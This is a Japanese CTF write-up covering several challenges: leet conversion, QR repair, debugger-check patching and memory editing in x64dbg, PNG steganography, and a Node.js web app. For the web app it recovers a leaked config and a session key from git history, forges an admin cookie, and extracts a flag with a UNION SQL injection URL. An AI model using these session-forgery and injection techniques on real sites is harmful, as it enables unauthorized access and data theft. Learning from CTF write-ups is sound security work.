91点で48位でした。表問の一部だけ解けました。
良問揃いで楽しかった。
GATE - ゲート (1pt)
例を参考にleet表記に変換。
FLAG{W31C0M3_70_K5NC7F_C92}
E1 - Mysterious Light (10pt)
一部が光で見えなくなってるQRコード。
4隅の「回」みたいなとこを修正すれば読み取れる。
FLAG{QyDYkTQNd1lb1IDH}
E2 - 砂漠の中の1本のフラグ (20pt)
x64dbgで実行。
まずはデバッガチェックを回避。
IsDebuggerPresent
の呼び出し箇所をxor eax, eax
でパッチを当てる
(2カ所あるが、近くにDO NOT DEBUG
とか書いてある方)
画面に座標が描画されているようなので、そのアドレスを特定したい。
描画ルーチンを探す。
外部関数呼び出しを検索 → "string"で絞り込むと下記が出る
アドレス=00007FF7953F1D9F
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>
アドレス=00007FF7953F1DE6
逆アセンブル=call qword ptr ds:[<&GdipDrawString>]
Destination=<gdiplus.GdipDrawString>
近くを見ると文字列を生成してる
00007FF7953F1D01 | 4C 8B 0D 40 43 00 00 | mov r9,qword ptr ds:[7FF7953F6048] |
00007FF7953F1D08 | 4C 8B 05 31 43 00 00 | mov r8,qword ptr ds:[7FF7953F6040] |
00007FF7953F1D0F | 48 8D 15 A2 27 00 00 | lea rdx,qword ptr ds:[7FF7953F44B8] | rdx:L"%I64u, %I64u", 7FF7953F44B8:L"%I64u, %I64u"
00007FF7953F1D16 | 48 8D 8D A0 04 00 00 | lea rcx,qword ptr ss:[rbp+4A0] |
00007FF7953F1D1D | FF 15 D5 23 00 00 | call qword ptr ds:[<&wsprintfW>] |
7FF7953F6040, 7FF7953F6048
がキャラの座標のアドレス。
00007FF7953F6040 01 00 00 00 00 00 00 80 02 00 00 00 00 00 00 80 ................
16819585654921967928, 9709471222094771744
にフラグがあります とのことなので、
この値に書き換える。
これで指定の座標に移動でき、マップに並んだ岩でフラグが書かれている。
FLAG{9729512216727087}
E6 - flower
FLAG 1 (10pt)
StegSolveでBlue plane 1を見る。最下位ビットじゃないのがひとひねりか。
FLAG{ZPf1dTqXQcbD0ygl}
ついでにヒントももらえる。
Hint1: IDAT
Hint2: ↓↓↓↓↓↓↓↓↓↓↓
FLAG 2 (15pt)
わからなかった。他の方の解法を見ると画像サイズを縦に伸ばすらしい。基本を見落としてた…
FLAG 3 (15pt)
バイナリエディタで見ると、IDATが複数ある。しかもずいぶん細切れ。
適当なツールに入れてみると
ん?この数値の並びはひょっとして…
arr = [ 70, 76, 65, 71, 123, 49, 106, 109, 109, 90, 83, 76, 52, 65, 55, 70, 83, 86, 121, 66, 122, 125 ]
puts arr.map{|e| e.chr}.join("")
FLAG{1jmmZSL4A7FSVyBz}
その発想はなかった。すごい。
W - Kaisendon
FLAG1 (10pt)
まずはトップページにアクセス。
ユーザー登録が必要です
現在はクローズドベータテスト中で、招待された方のみが登録できます
ふむ。ソースがついてるのでapp.jsを見る
app.get('*', (req, res, next) => {
if (req.session.registered) {
next();
} else {
res.render('notregistered');
}
});
...
app.get('/', function(req, res, next) {
db.all('select * from don order by id desc limit 16', (error, dons) => {
res.render('index', {dons, flag: process.env.FLAG1});
})
});
登録できればフラグが見れる。
app.get(config.registerURL, (req, res) => {
res.render('register');
});
configの内容が知りたいけど、config.jsは.gitignoreされている。
ん?git?
.gitがあった。ログを見る。
oops...
とか書いてある。config.jsを間違ってコミットしたかな?
Git初心者が絶対に覚えておくべきコマンド - idesaku blog
$ git reflog
95a0789 HEAD@{0}: commit (amend): Make register page URL configurable
c81ac0e HEAD@{1}: commit: Make register page URL configurable
...
$ git reset --hard HEAD@{1}
HEAD is now at c81ac0e Make register page URL configurable
$ cat config.js
module.exports = {
registerURL: '/register_yejaoy4eh19gjqqv',
}
登録フォームが出る。適当に入力。
ベータテストへのご協力ありがとうございます。
本サービス開始時にこちらのクーポンをご利用ください。
FLAG{3snoa6p4wncj1hpf}
クーポンw
FLAG2 (12pt)
app.get('/admin', (req, res) => {
if (req.session.admin) {
res.render('admin', {flag: process.env.FLAG2});
} else {
res.render('notadmin');
}
});
adminになれればいいらしい。
$ git reset --hard 216bd65
HEAD is now at 216bd65 Make admin page
app.get('/', function(req, res, next) {
+ req.session.admin = true;
db.all('select * from don order by id desc limit 16', (error, dons) => {
res.render('index', {dons});
})
});
Cookieに上記を書き込めばよさそうだけど、暗号化されている。
app.use(cookieSession({
name: 'session',
keys: ['* secret keys *'],
// Cookie Options
maxAge: 24 * 60 * 60 * 1000 // 24 hours
}));
$ git fsck --lost-found
Checking object directories: 100% (256/256), done.
dangling commit 0cc9051bba168a471ea9072bf8aa181336a6755c
dangling commit 216bd6562b8b060e9c4288878795229dbab0907e
dangling commit a65874ee60d9a0805c8a25f20d6e6050e3f08148
dangling commit c81ac0e91b7d1d7b4cbcb3a5f0aea5c734b7cc89
なんかあった
$ git show a65874ee6
...
+app.use(cookieSession({
+ name: 'session',
+ keys: [/ secret keys */],
+
+ // Cookie Options
+ maxAge: 24 * 60 * 60 * 1000 // 24 hours
+}));
$ git show 0cc9051bb
...
- keys: [/ secret keys */],
+ keys: ['* secret keys *'],
惜しい。他のコミットにも入ってない。
…と見せかけて、わざわざこういうコミットがあるということは、本番サイトもこれがそのままキーになっている?
ではローカルでアプリを立ち上げてadminになって、そのCookieを流用してみる。
FROM node:8-onbuild
ENV FLAG1 FLAG{flag_1}
ENV FLAG2 FLAG{flag_2}
ENV FLAG3 FLAG{flag_3}
EXPOSE 3000
web:
build: .
ports:
- "3000:3000"
$ docker-compose build && docker-compose up
アクセスすると下記のCookieが作られるので、本番サイトのCookieをこれに書き換える。
session: eyJyZWdpc3RlcmVkIjp0cnVlLCJhZG1pbiI6dHJ1ZX0=
session.sig: I7H6xVW_ro_Cip-MJFxz7tSDABk
/admin
にアクセス。
FLAG{vakdriti4zzlj55p}
FLAG3 (13pt)
var db = new sqlite3.Database(':memory:');
db.serialize(() => {
db.run('create table don ('+
'id integer primary key autoincrement,'+
'text text(1024))');
db.run('create table flag (flag text)');
db.run('insert into flag values (?)', process.env.FLAG3);
});
app.get('/edit/:id', (req, res) => {
if (req.session.admin) {
db.get('select * from don where id='+req.params.id, (error, don) => {
res.render('edit', {don});
})
} else {
res.render('notadmin');
}
});
なので、adminの状態でSQLインジェクション。
select * from don where id=<存在しないid> union select null, flag from flag
をすればいい。以下にアクセス。
/edit/9999%20union%20select%20null,%20flag%20from%20flag
FLAG{bpodf2es4k9e42rf}